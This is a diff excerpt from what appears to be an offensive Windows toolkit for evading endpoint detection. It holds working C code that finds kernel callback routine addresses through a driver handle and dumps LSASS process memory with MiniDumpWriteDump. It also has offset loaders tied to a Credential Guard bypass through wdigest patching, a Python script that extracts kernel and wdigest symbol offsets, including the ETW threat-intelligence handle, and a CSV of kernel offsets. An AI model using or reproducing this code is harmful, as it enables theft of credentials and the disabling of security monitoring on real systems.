// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||||
|
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||||
|
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||||
|
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||||
|
|
||||||
|
CloseHandle(Device);
|
||||||
|
|
||||||
|
return PspCreateThreadNotifyRoutineAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||||
|
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
|
||||||
|
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||||
|
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||||
|
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||||
|
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||||
|
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||||
|
|
||||||
|
CloseHandle(Device);
|
||||||
|
|
||||||
|
return PspLoadImageNotifyRoutineAddress;
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- LSASS dump functions.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "LSASSDump.h"
|
||||||
|
|
||||||
|
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||||
|
{
|
||||||
|
LUID luid;
|
||||||
|
BOOL bRet = FALSE;
|
||||||
|
|
||||||
|
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
tp.Privileges[0].Luid = luid;
|
||||||
|
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||||
|
|
||||||
|
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||||
|
{
|
||||||
|
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||||
|
HANDLE hProcessSnap;
|
||||||
|
HANDLE hProcess;
|
||||||
|
PROCESSENTRY32 pe32;
|
||||||
|
DWORD dwPriorityClass;
|
||||||
|
|
||||||
|
TCHAR* outputDump = (TCHAR*)data;
|
||||||
|
|
||||||
|
//Enable the SeDebugPrivilege
|
||||||
|
HANDLE hToken;
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||||
|
{
|
||||||
|
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Take a snapshot of all processes in the system.
|
||||||
|
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the size of the structure before using it.
|
||||||
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||||
|
|
||||||
|
// Retrieve information about the first process,
|
||||||
|
// and exit if unsuccessful
|
||||||
|
if (!Process32First(hProcessSnap, &pe32)) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||||
|
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now walk the snapshot of processes, and look for lsass.
|
||||||
|
do {
|
||||||
|
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrieve the priority class.
|
||||||
|
dwPriorityClass = 0;
|
||||||
|
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||||
|
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
else {
|
||||||
|
dwPriorityClass = GetPriorityClass(hProcess);
|
||||||
|
if (!dwPriorityClass) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
|
||||||
|
}
|
||||||
|
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||||
|
if (!dumped) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (Process32Next(hProcessSnap, &pe32));
|
||||||
|
|
||||||
|
CloseHandle(hProcessSnap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||||
|
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "NtoskrnlOffsets.h"
|
||||||
|
|
||||||
|
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||||
|
|
||||||
|
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||||
|
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||||
|
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||||
|
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||||
|
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||||
|
|
||||||
|
FILE* offsetFileStream = NULL;
|
||||||
|
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||||
|
|
||||||
|
union NtoskrnlOffsets offset_results = { 0 };
|
||||||
|
if (offsetFileStream == NULL) {
|
||||||
|
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||||
|
return offset_results;
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR lineNtoskrnlVersion[256];
|
||||||
|
TCHAR line[2048];
|
||||||
|
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||||
|
TCHAR* dupline = _tcsdup(line);
|
||||||
|
TCHAR* tmpBuffer = NULL;
|
||||||
|
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||||
|
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||||
|
TCHAR* endptr;
|
||||||
|
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||||
|
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||||
|
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(offsetFileStream);
|
||||||
|
return offset_results;
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||||
|
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||||
|
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "WdigestOffsets.h"
|
||||||
|
|
||||||
|
union WdigestOffsets wdigestOffsets = { 0 };
|
||||||
|
|
||||||
|
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||||
|
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||||
|
TCHAR wdigestVersion[256] = { 0 };
|
||||||
|
GetWdigestVersion(wdigestVersion);
|
||||||
|
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||||
|
|
||||||
|
FILE* offsetFileStream = NULL;
|
||||||
|
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||||
|
|
||||||
|
union WdigestOffsets offsetResults = { 0 };
|
||||||
|
if (offsetFileStream == NULL) {
|
||||||
|
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||||
|
return offsetResults;
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR lineWdigestVersion[256];
|
||||||
|
TCHAR line[2048];
|
||||||
|
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||||
|
TCHAR* dupline = _tcsdup(line);
|
||||||
|
TCHAR* tmpBuffer = NULL;
|
||||||
|
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||||
|
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||||
|
TCHAR* endptr;
|
||||||
|
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||||
|
// TODO: switch hardcoded value to sizeof or const defined
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(offsetFileStream);
|
||||||
|
return offsetResults;
|
||||||
|
}
|
||||||
@@ -0,0 +1,268 @@
|
|||||||
|
import argparse
|
||||||
|
import csv
|
||||||
|
import os
|
||||||
|
|
||||||
|
from requests import get
|
||||||
|
from gzip import decompress
|
||||||
|
from json import loads, dumps
|
||||||
|
from subprocess import run
|
||||||
|
|
||||||
|
import win32api
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
import threading
|
||||||
|
CSVLock = threading.Lock()
|
||||||
|
|
||||||
|
machineType = dict(x86=332, x64=34404)
|
||||||
|
knownImageVersions = dict(ntoskrnl=list(), wdigest=list())
|
||||||
|
extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll")
|
||||||
|
|
||||||
|
def downloadSpecificFile(entry, pe_basename, pe_ext, knownPEVersions, output_folder):
|
||||||
|
pe_name = f'{pe_basename}.{pe_ext}'
|
||||||
|
|
||||||
|
if 'fileInfo' not in entry:
|
||||||
|
# print(f'[!] Entry {pe_hash} has no fileInfo, skipping it.')
|
||||||
|
return "SKIP"
|
||||||
|
if 'timestamp' not in entry['fileInfo']:
|
||||||
|
# print(f'[!] Entry {pe_hash} has no timestamp, skipping it.')
|
||||||
|
return "SKIP"
|
||||||
|
timestamp = entry['fileInfo']['timestamp']
|
||||||
|
if 'virtualSize' not in entry['fileInfo']:
|
||||||
|
# print(f'[!] Entry {pe_hash} has no virtualSize, skipping it.')
|
||||||
|
return "SKIP"
|
||||||
|
if "machineType" not in entry["fileInfo"] or entry["fileInfo"]["machineType"] != machineType["x64"]:
|
||||||
|
return "SKIP"
|
||||||
|
virtual_size = entry['fileInfo']['virtualSize']
|
||||||
|
file_id = hex(timestamp).replace('0x','').zfill(8).upper() + hex(virtual_size).replace('0x','')
|
||||||
|
url = 'https://msdl.microsoft.com/download/symbols/' + pe_name + '/' + file_id + '/' + pe_name
|
||||||
|
version = entry['fileInfo']['version'].split(' ')[0]
|
||||||
|
|
||||||
|
# Output file format: <PE>_build-revision.<exe | dll>
|
||||||
|
output_version = '-'.join(version.split('.')[-2:])
|
||||||
|
output_file = f'{pe_basename}_{output_version}.{pe_ext}'
|
||||||
|
|
||||||
|
# If the PE version is already known, skip download.
|
||||||
|
if output_file in knownPEVersions:
|
||||||
|
print(f'[*] Skipping download of known {pe_name} version: {output_file}')
|
||||||
|
return "SKIP"
|
||||||
|
|
||||||
|
output_file_path = os.path.join(output_folder, output_file)
|
||||||
|
if os.path.isfile(output_file_path):
|
||||||
|
print(f"[*] Skipping {output_file_path} which already exists")
|
||||||
|
return "SKIP"
|
||||||
|
|
||||||
|
print(f'[*] Downloading {pe_name} version {version}... ')
|
||||||
|
try:
|
||||||
|
peContent = get(url)
|
||||||
|
with open(output_file_path, 'wb') as f:
|
||||||
|
f.write(peContent.content)
|
||||||
|
print(f'[+] Finished download of {pe_name} version {version} (file: {output_file})!')
|
||||||
|
return "OK"
|
||||||
|
except Exception:
|
||||||
|
print(f'[!] ERROR : Could not download {pe_name} version {version} (URL: {url}).')
|
||||||
|
return "KO"
|
||||||
|
|
||||||
|
def dowloadPEFileFromMS(pe_basename, pe_ext, knownPEVersions, output_folder):
|
||||||
|
pe_name = f'{pe_basename}.{pe_ext}'
|
||||||
|
|
||||||
|
print (f'[*] Downloading {pe_name} files!')
|
||||||
|
|
||||||
|
pe_json_gz = get(f'https://winbindex.m417z.com/data/by_filename_compressed/{pe_name}.json.gz').content
|
||||||
|
pe_json = decompress(pe_json_gz)
|
||||||
|
pe_list = loads(pe_json)
|
||||||
|
|
||||||
|
futures = dict()
|
||||||
|
with ThreadPoolExecutor() as executor:
|
||||||
|
for pe_hash in pe_list:
|
||||||
|
entry = pe_list[pe_hash]
|
||||||
|
futures[pe_hash] = executor.submit(downloadSpecificFile,entry, pe_basename, pe_ext, knownPEVersions, output_folder)
|
||||||
|
for (i,f) in enumerate(futures):
|
||||||
|
res = futures[f].result()
|
||||||
|
print(f"{i+1}/{len(futures)}", end="\r")
|
||||||
|
|
||||||
|
def get_symbol_offset(symbols_info, symbol_name):
|
||||||
|
for line in symbols_info:
|
||||||
|
# sometimes, a "_" is prepended to the symbol name ...
|
||||||
|
if line.strip().split(" ")[-1].endswith(symbol_name):
|
||||||
|
return int(line.split(" ")[0], 16)
|
||||||
|
else:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def get_field_offset(symbols_info, field_name):
|
||||||
|
for line in symbols_info:
|
||||||
|
if field_name in line:
|
||||||
|
assert "offset" in line
|
||||||
|
symbol_offset = int(line.split("+")[-1], 16)
|
||||||
|
return symbol_offset
|
||||||
|
else:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def get_file_version(path):
|
||||||
|
info = win32api.GetFileVersionInfo(path, '\\')
|
||||||
|
ms = info['FileVersionMS']
|
||||||
|
ls = info['FileVersionLS']
|
||||||
|
return (win32api.HIWORD(ms), win32api.LOWORD(ms),
|
||||||
|
win32api.HIWORD(ls), win32api.LOWORD(ls))
|
||||||
|
|
||||||
|
def extractOffsets(input_file, output_file, mode):
|
||||||
|
if os.path.isfile(input_file):
|
||||||
|
try:
|
||||||
|
# check image type (ntoskrnl, wdigest, etc.)
|
||||||
|
r = run(["r2", "-c", "iE", "-qq", input_file], shell=True, capture_output=True)
|
||||||
|
for line in r.stdout.decode().splitlines():
|
||||||
|
if "ntoskrnl.exe" in line:
|
||||||
|
imageType = "ntoskrnl"
|
||||||
|
break
|
||||||
|
elif "wdigest.dll" in line:
|
||||||
|
imageType = "wdigest"
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print(f"[*] File {input_file} unrecognized")
|
||||||
|
return
|
||||||
|
|
||||||
|
#todo : remove this and make a unique function
|
||||||
|
if mode != imageType:
|
||||||
|
print(f"[*] Skipping {input_file} since we are in {mode} mode")
|
||||||
|
return
|
||||||
|
# dump version number
|
||||||
|
"""
|
||||||
|
r = run(["r2", "-c", "iV", "-qq", input_file], shell=True, capture_output=True)
|
||||||
|
for line in r.stdout.decode().splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith("FileVersion:"):
|
||||||
|
full_version = [int(frag) for frag in line.split(" ")[-1].split(".")]
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
assert(False)
|
||||||
|
"""
|
||||||
|
if os.path.sep not in input_file:
|
||||||
|
input_file = "." + os.path.sep + input_file
|
||||||
|
full_version = get_file_version(input_file)
|
||||||
|
|
||||||
|
# Checks if the image version is already present in the CSV
|
||||||
|
extension = extensions_by_mode[imageType]
|
||||||
|
imageVersion = f'{imageType}_{full_version[2]}-{full_version[3]}.{extension}'
|
||||||
|
|
||||||
|
if imageVersion in knownImageVersions[imageType]:
|
||||||
|
print(f'[*] Skipping known {imageType} version {imageVersion} (file: {input_file})')
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
print(f'[*] Processing {imageType} version {imageVersion} (file: {input_file})')
|
||||||
|
# download the PDB if needed
|
||||||
|
r = run(["r2", "-c", "idpd", "-qq", input_file], shell=True, capture_output=True)
|
||||||
|
# dump all symbols
|
||||||
|
r = run(["r2", "-c", "idpi", "-qq", '-B', '0', input_file], shell=True, capture_output=True)
|
||||||
|
all_symbols_info = [line.strip() for line in r.stdout.decode().splitlines()]
|
||||||
|
|
||||||
|
if imageType == "ntoskrnl":
|
||||||
|
symbols = [("PspCreateProcessNotifyRoutine",get_symbol_offset),
|
||||||
|
("PspCreateThreadNotifyRoutine",get_symbol_offset),
|
||||||
|
("PspLoadImageNotifyRoutine", get_symbol_offset),
|
||||||
|
('_PS_PROTECTION Protection', get_field_offset),
|
||||||
|
("EtwThreatIntProvRegHandle", get_symbol_offset),
|
||||||
|
('_ETW_GUID_ENTRY* GuidEntry', get_field_offset),
|
||||||
|
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)]
|
||||||
|
elif imageType == "wdigest":
|
||||||
|
symbols = [
|
||||||
|
("g_fParameter_UseLogonCredential",get_symbol_offset),
|
||||||
|
("g_IsCredGuardEnabled",get_symbol_offset)
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
symbols_values = list()
|
||||||
|
for symbol_name, get_offset in symbols:
|
||||||
|
symbol_value = get_offset(all_symbols_info, symbol_name)
|
||||||
|
symbols_values.append(symbol_value)
|
||||||
|
#print(f"[+] {symbol_name} = {hex(symbol_value)}")
|
||||||
|
|
||||||
|
with CSVLock:
|
||||||
|
with open(output_file, 'a') as output:
|
||||||
|
output.write(f'{imageVersion},{",".join(hex(val).replace("0x","") for val in symbols_values)}\n')
|
||||||
|
|
||||||
|
#print("wrote into CSV !")
|
||||||
|
|
||||||
|
knownImageVersions[imageType].append(imageVersion)
|
||||||
|
|
||||||
|
print(f'[+] Finished processing of {imageType} {input_file}!')
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f'[!] ERROR : Could not process file {input_file}.')
|
||||||
|
print(f'[!] Error message: {e}')
|
||||||
|
print(f'[!] If error is of the like of "\'NoneType\' object has no attribute \'group\'", kernel callbacks may not be supported by this version.')
|
||||||
|
|
||||||
|
elif os.path.isdir(input_file):
|
||||||
|
print(f'[*] Processing folder: {input_file}')
|
||||||
|
with ThreadPoolExecutor() as extractorPool:
|
||||||
|
args = [(os.path.join(input_file, file), output_file, mode) for file in os.listdir(input_file)]
|
||||||
|
for (i,res) in enumerate(extractorPool.map(extractOffsets, *zip(*args))):
|
||||||
|
print(f"{i+1}/{len(args)}", end="\r")
|
||||||
|
print(f'[+] Finished processing of folder {input_file}!')
|
||||||
|
|
||||||
|
else:
|
||||||
|
print(f'[!] ERROR : The specified input {input_file} is neither a file nor a directory.')
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def loadOffsetsFromCSV(loadedVersions, CSVPath):
|
||||||
|
print(f'[*] Loading the known known PE versions from "{CSVPath}".')
|
||||||
|
|
||||||
|
with open(CSVPath, "r") as csvFile:
|
||||||
|
csvReader = csv.reader(csvFile, delimiter=',')
|
||||||
|
next(csvReader)
|
||||||
|
for peLine in csvReader:
|
||||||
|
loadedVersions.append(peLine[0])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
|
||||||
|
parser.add_argument('mode', help='ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest')
|
||||||
|
parser.add_argument('-i', '--input', dest='input', required=True,
|
||||||
|
help='Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.')
|
||||||
|
parser.add_argument('-o', '--output', dest='output',
|
||||||
|
help='CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.')
|
||||||
|
parser.add_argument('-d', '--dowload', dest='dowload', action='store_true',
|
||||||
|
help='Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
mode = args.mode
|
||||||
|
if mode not in knownImageVersions:
|
||||||
|
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl" and "wdigest"')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
# check R2 version
|
||||||
|
output = run(["r2", "-V"], shell=True, capture_output=True).stdout.decode()
|
||||||
|
ma,me,mi = map(int, output.splitlines()[0].split(" ")[0].split("."))
|
||||||
|
if (ma, me, mi) < (5,4,3):
|
||||||
|
print("WARNING : This script has been tested with radare2 5.4.3 (works) and 4.3.1 (does NOT work)")
|
||||||
|
print(f"You have version {ma}.{me}.{mi}, if is does not work correctly, meaning most of the offsets are not found (i.e. 0), check radare2's 'idpi' command output and modify get_symbol_offset() & get_field_offset() to parse symbols correctly")
|
||||||
|
input("Press enter to continue")
|
||||||
|
|
||||||
|
|
||||||
|
# If the output file exists, load the already analyzed image versions.
|
||||||
|
# Otherwise, write CSV headers to the new file.
|
||||||
|
if not args.output:
|
||||||
|
args.output = mode.capitalize() + 'Offsets.csv'
|
||||||
|
if os.path.isfile(args.output):
|
||||||
|
loadOffsetsFromCSV(knownImageVersions[mode], args.output)
|
||||||
|
print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"')
|
||||||
|
else:
|
||||||
|
with open(args.output, 'w') as output:
|
||||||
|
if mode == "ntoskrnl":
|
||||||
|
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n')
|
||||||
|
elif mode == "wdigest":
|
||||||
|
output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n')
|
||||||
|
else:
|
||||||
|
assert False
|
||||||
|
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
|
||||||
|
# The symbols for each version will be dowloaded from the Microsoft symbols servers.
|
||||||
|
# Only new versions will be downloaded if the specified output file already contains offsets.
|
||||||
|
if (args.dowload):
|
||||||
|
if not os.path.isdir(args.input):
|
||||||
|
print('[!] ERROR : in download mode, -i / --input option must specify a folder')
|
||||||
|
exit(1)
|
||||||
|
extension = extensions_by_mode[mode]
|
||||||
|
dowloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input)
|
||||||
|
|
||||||
|
# Extract the offsets from the specified file or the folders containing image files.
|
||||||
|
extractOffsets(args.input, args.output, mode)
|
||||||
@@ -0,0 +1,420 @@
|
|||||||
|
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset
|
||||||
|
ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50
|
||||||
|
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||||
|
ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50
|
||||||
|
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50
|
||||||
|
